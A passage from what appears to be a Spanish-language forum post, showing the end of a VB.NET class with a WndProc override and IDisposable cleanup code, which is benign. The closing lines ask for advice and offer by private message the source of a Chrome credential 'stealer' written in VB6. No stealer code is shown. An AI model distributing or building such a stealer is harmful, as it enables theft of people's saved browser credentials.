Me.ProcessInputCommand(m)
End Select
MyBase.WndProc(m)
End Sub
#End Region
#Region " IDisposable "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean = False
' ''' ----------------------------------------------------------------------------------------------------
' ''' <summary>
' ''' Prevent calls to methods after disposing.
' ''' </summary>
' ''' ----------------------------------------------------------------------------------------------------
' ''' <exception cref="System.ObjectDisposedException"></exception>
' ''' ----------------------------------------------------------------------------------------------------
'<DebuggerStepThrough>
'Private Sub DisposedCheck()
' If Me.isDisposed Then
' Throw New ObjectDisposedException(Me.GetType().FullName)
' End If
'End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <c>True</c> to release both managed and unmanaged resources;
''' <c>False</c> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Sub Dispose(ByVal isDisposing As Boolean)
If Not Me.isDisposed Then
If isDisposing Then
Me.form = Nothing
MyBase.ReleaseHandle()
MyBase.DestroyHandle()
End If
End If
Me.isDisposed = True
End Sub
#End Region
Agradezco cualquier tipo de ayuda u consejo.
Si alguien quiere los archivos o el fuente del stealer de chrome en vb6 que me los pida por MP, de todas formas se consigen faciles por IE.